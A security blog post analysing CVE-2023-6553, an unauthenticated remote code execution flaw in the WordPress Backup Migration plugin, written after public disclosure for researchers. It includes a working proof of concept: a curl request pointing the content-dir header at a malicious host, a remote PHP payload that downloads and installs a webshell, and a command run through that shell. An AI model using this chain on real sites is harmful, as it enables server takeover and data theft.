s3cur1ty blog

Backup Migration Wordpress Plugin Vulnerability - CVE-2023-6553

· Pascal Christen

Report

On December 11, 2023, Wordfence publicly disclosed a new security vulnerability affecting the 90k+ installed Backup Migration plugin for WordPress. Their attention was drawn to this vulnerability on December 5, 2023, through their lucrative Wordfence Holiday Bug Extravaganza offer, which rewarded the reporter with $2,751. Thanks to Wordfence for this program and, of course, to the reporter for the responsible disclosure.

The vulnerability, identified as CVE-2023-6553, with a CVSS score of 9.8, allows for unauthenticated Remote Code Execution (RCE).

Vulnerability

The vulnerability stems from the unchecked usage of the user-controlled content-dir header for constructing the path to include the bypasser.php. Consequently, this allows the injection of code through this method.

fields = getallheaders();
define('BMI_ROOT_DIR', $fields['content-dir']);
define('BMI_INCLUDES', BMI_ROOT_DIR . 'includes');
require_once BMI_INCLUDES . '/bypasser.php';

Source

Hence, it becomes possible to manipulate the path of bypasser.php in this manner. A brief example: If I provide /test/ as the content-dir header, it results in /test/includes/bypasser.php. Certainly, one must generate a path that points to a file named [yourpath]/includes/bypasser.php for the code to be executed. On the other hand, it is also possible (under certain circumstances) to load code from the internet, or use php filter chains. More on that later in the PoC.

PoC

Simply call the file directly providing a content-dir header:

curl --request POST \
  --url http://localhost:8000/wp-content/plugins/backup-backup/includes/backup-heart.php \
  --header 'content-dir: https://some-malicous-website-that-provides-code.ch/'

Now on my test installation this fails, because the PHP Option allow_url_include is set to 0/Off. This should be best practice, but you know… 🙄

[Tue Dec 12 19:12:09.172151 2023] [php:warn] [pid 31] [client YYY.Y.Y.X:55914] PHP Warning:  require_once(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in /var/www/html/wp-content/plugins/backup-backup/includes/backup-heart.php on line 118

For now, I just turn allow_url_include to On. On Windows systems, some bypasses are even possible with a public accessible SMB server. Certainly, there might be additional ways to load additional code on a Linux system. I’m open to your suggestions and inputs.

Now from the submitted website, I respond with a simple PHP script, that installs a webshell on the system: https://some-malicous-website-that-provides-code.ch/includes/bypasser.php

<?php
# https://gist.github.com/joswr1ght/22f40787de19d80d110b37fb79ac3985
$url = 'https://gist.githubusercontent.com/joswr1ght/22f40787de19d80d110b37fb79ac3985/raw/50008b4501ccb7f804a61bc2e1a3d1df1cb403c4/easy-simple-php-webshell.php';
$response = file_get_contents($url);
if ($response === false) {
    echo 'Error fetching the URL.';
} else {
    $filePath = 'test.php';
    file_put_contents($filePath, $response);
    echo 'Content saved to ' . $filePath;
}
?>

🎉 - Finally it installed a simple webshell on the system:

curl 'http://localhost:8000/wp-content/plugins/backup-backup/includes/test.php?cmd=ls'

activation.php
ajax.php
analyst.php
backup-heart.php
banner
bypasser.php
check
cli
cli-handler.php
compatibility.php
config.php
constants.php
cron
dashboard
database
extracter
htaccess
initializer.php
logger.php
progress
restore-batching.php
scanner
staging
test.php
uploader
zipper

Fix

The vendor of the plugin fixed the plugin in version 1.3.8 one day after Wordfence disclosed the information to them. Thanks to Migrate for the fast fix.

Conclusion

Again, over 90,000 WordPress installations are at high risk of being hacked. The only remedy is a combination of updating security updates quickly (auto updates), using a security plugin and relying on a good webhoster. But even this combination does not prevent a hack for sure. Stay safe and update quickly!

Note

My intention is not to give the hackers a PoC as quickly as possible, but to give other security researchers and companies the opportunity to get more details. My information is always based on already published information from responsible disclosures. If you want to talk about it and have a better idea, then contact me s3cur1ty@pascalchristen.ch!

Source